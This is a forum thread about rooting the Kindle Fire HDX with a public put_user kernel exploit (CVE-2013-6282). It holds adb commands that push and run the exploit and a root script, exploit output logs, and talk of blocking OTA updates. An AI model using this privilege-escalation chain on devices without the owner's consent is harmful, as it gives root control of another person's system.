• Introducing XDA Computing: Discussion zones for Hardware, Software, and more!    Check it out!

[Root] Kindle Fire HDX 8.9 14.3.1

Search This thread

EatingPie

Senior Member
Jun 27, 2013
84
5
Dunno if this is the right thread, but…

Has anybody logged the specific IPs involved with update checking and downloading?

TIA.

-Pie
 

Faznx92

Senior Member
Nov 18, 2013
319
253
Dunno if this is the right thread, but…

Has anybody logged the specific IPs involved with update checking and downloading?

TIA.

-Pie
Blocking them doesn't stop the ota. It seems to also check with a Amazon App store service/check to see what version your running when you download an app (can't confirm this but im sure of it). Blocking ip's dosn't stop ota. In my original rooting tutorial I explored this idea with iptables/Android Firewall but it did nothing. The only way of blocking updates is removing some system apps (not 100% sure) or changing the build.prop but I can't without crashing.

I'm still rooted. My stock rom is in airplane mode and im running gapps v.2 rom on a slot. Hope this helps.
 

GSLEON3

Retired Senior Moderator
Blocking them doesn't stop the ota. It seems to also check with a Amazon App store service/check to see what version your running when you download an app (can't confirm this but im sure of it). Blocking ip's dosn't stop ota. In my original rooting tutorial I explored this idea with iptables/Android Firewall but it did nothing. The only way of blocking updates is removing some system apps (not 100% sure) or changing the build.prop but I can't without crashing.

I'm still rooted. My stock rom is in airplane mode and im running gapps v.2 rom on a slot. Hope this helps.

Send me the HDX7 build.prop from both 13.3.1.0 & 13.3.2.1 & I'll take a look. So far, after modifying the build.prop it tried to update once, which failed & now it says up to date.

AFAIK, it will only reboot from a build.prop edit if it is not properly formatted, or if the permissions & owner/user group is not set.
 

enjid

Member
May 1, 2010
22
6
Hillsboro, OR
having trouble

Hi, trying to unbrick my device. I have ADB in both recovery and after fully booted. I see the black/grey screen and can hear the correct volume and power off sounds. I bricked after trying to restore stock on my Stock ROM. oops. Anyway...

When I try this after fully booted, everything seems to work until the last step. This is what it spits out:

Code:
Device detected: KFAPWI (JDQ39)

Attempt acdb exploit...
KFAPWI (JDQ39) is not supported.

Attempt fj_hdcp exploit...

Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x00008000 form iomem

Attempt put_user exploit...
ioctl: Bad address

Attempt fb_mem exploit...
Detected kernel physical address at 0x00008000 form iomem

Attempt perf_swevent exploit...
KFAPWI (JDQ39) is not supported.

failed to open /dev/diag due to Permission denied.
mount: Operation not permitted
/data/local/tmp/rootme.sh[3]: can't create /system/xbin/su: Read-only file syste
m
Unable to chown /system/xbin/su: No such file or directory
Unable to chmod /system/xbin/su: No such file or directory

What am I doing wrong?
 

EniGmA1987

Senior Member
Sep 21, 2010
2,058
804
Hi, trying to unbrick my device. I have ADB in both recovery and after fully booted. I see the black/grey screen and can hear the correct volume and power off sounds. I bricked after trying to restore stock on my Stock ROM. oops. Anyway...

When I try this after fully booted, everything seems to work until the last step. This is what it spits out:

Code:
Device detected: KFAPWI (JDQ39)

Attempt acdb exploit...
KFAPWI (JDQ39) is not supported.

Attempt fj_hdcp exploit...

Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x00008000 form iomem

Attempt put_user exploit...
ioctl: Bad address

Attempt fb_mem exploit...
Detected kernel physical address at 0x00008000 form iomem

Attempt perf_swevent exploit...
KFAPWI (JDQ39) is not supported.

failed to open /dev/diag due to Permission denied.
mount: Operation not permitted
/data/local/tmp/rootme.sh[3]: can't create /system/xbin/su: Read-only file syste
m
Unable to chown /system/xbin/su: No such file or directory
Unable to chmod /system/xbin/su: No such file or directory

What am I doing wrong?


Are you on the specific version that this root exploit supports? because it looks like the log you posted is saying you are on an unsupported OS version.
 

Top Liked Posts

  • There are no posts matching your filters.
  • 44
    Please do not donate to me for this, it is not my original work. If you want to donate, I suggest finding a way to donate to fi01 (not aware of a way or if he accepts them) or donating to a charity. It is the holiday times, maybe a toys for tots or something similar. I know a lot of ppl dislike the salvation army, and I can't stand up with some of the things they do, but their toy donation program is good and they do get the toys to kids who really have no other option, maybe drop off some new toys? May be food to a food bank?

    Source: https://github.com/hiikezoe/android_run_root_shell

    Vuln:
    https://www.codeaurora.org/projects...hecks-putusergetuser-kernel-api-cve-2013-6282

    Exploit Source:
    https://github.com/fi01/libput_user_exploit

    Beaups compiled it at my request for you guys.

    adb push su /data/local/tmp/
    adb push rootme.sh /data/local/tmp/
    adb push exploit /data/local/tmp/
    adb shell chmod 755 /data/local/tmp/rootme.sh
    adb shell chmod 755 /data/local/tmp/exploit
    adb shell /data/local/tmp/exploit -c "/data/local/tmp/rootme.sh"
    9
    Bomb! You are the man!

    Bro, I am going to PM you shortly. I would like to thank you & fi01. I will donate to both of you, or if you both prefer, I will donate my original pledge of $150 for root in your names to whatever charity you think is appropriate. If this leads to an unlocked BL, I will double my donation, to the $300 I originally stated in the General/Kernel thread.

    If you notice my signature, I have an issue I have become intimately involved in, so if there is something near & dear to your two hearts, just let me know.

    PROOF OF ROOT:
    IMG_20131125_102749.jpg

    IMG_20131125_102829.jpg
    8
    Awesome! How did you flash it? Is there a stock recovery mode or did you have to use ADB? I'm not familiar with ADB at all, so I'm hoping for a simple way of flashing this.

    I am going to tak as many questions as possible, but will probably do something in the Q&A section to keep this clean. Right now, this is a manual adb exploit, though if you have a rooted device & USB OTG, you can use root transmission. Currently, it is fairly easy & straight forward, but you will need adb to utilize this root method. jcase said we could package it into a one click, but that is going to take some time.

    At this point, there are no custome roms & there are no custom recoveries, just root access. I also have the Play Store working, which was just a matter of changing the ro.build.host to point to Google. Again, no easy way to do it yet. Since you are asking about "flashing" this, I would suggest you wait. Either that, or go back & read about some of the old root methods & how to use ADB. There is no flashing this file. You use ADB to push the files, & shell to change owner/permissions. You then run a script (again via adb) that moves the SU binary into xbin. Currently, there is still a bit of a trick to get SU going, but it is pretty easy if you understand the basics of ADB.

    Really, what this means is that now the gates have been cracked & it is possible to start building recoveries, roms & all that good stuff.

    ---------- Post added at 11:21 AM ---------- Previous post was at 11:17 AM ----------

    Guess it does not work on 7" (fire os 3.1 updated, ver 13.3.1.0):

    Device detected: KFTHWI (JDQ39)

    Try to find address in memory...
    Attempt msm_cameraconfig exploit...
    Detected kernel physical address at 0x00008000 form iomem

    Attempt fb_mem exploit...
    Detected kernel physical address at 0x00008000 form iomem
    You need to manage to get remap_pfn_range addresses.
    Failed to get prepare_kernel_cred addresses.
    Failed to get commit_creds addresses.
    Failed to get ptmx_fops addresses.
    KFTHWI (JDQ39) is not supported.
    Failed to setup variables.

    Have hopes it will be possible soon enough though :)

    Most likely, it is going to take a little address rework of the exploit. I am about 100% certain the exploit is there though.
    8
    Good News Everyone! I made the required changes in source, and recompiled it for the Kindle Fire HDX 7". It worked for me at least! Here it goes:

    http://goo.gl/4gBmq5

    Be sure to rename the file to 'exploit', follow the instructions on the first post, and don't forget to thank jcase and fi01.
    6
    Guess it does not work on 7" (fire os 3.1 updated, ver 13.3.1.0):

    Device detected: KFTHWI (JDQ39)

    Try to find address in memory...
    Attempt msm_cameraconfig exploit...
    Detected kernel physical address at 0x00008000 form iomem

    Attempt fb_mem exploit...
    Detected kernel physical address at 0x00008000 form iomem
    You need to manage to get remap_pfn_range addresses.
    Failed to get prepare_kernel_cred addresses.
    Failed to get commit_creds addresses.
    Failed to get ptmx_fops addresses.
    KFTHWI (JDQ39) is not supported.
    Failed to setup variables.

    Have hopes it will be possible soon enough though :)


    No but download the update.bin for your firmware from amazon, send me boot.img and system/build.prop and will port it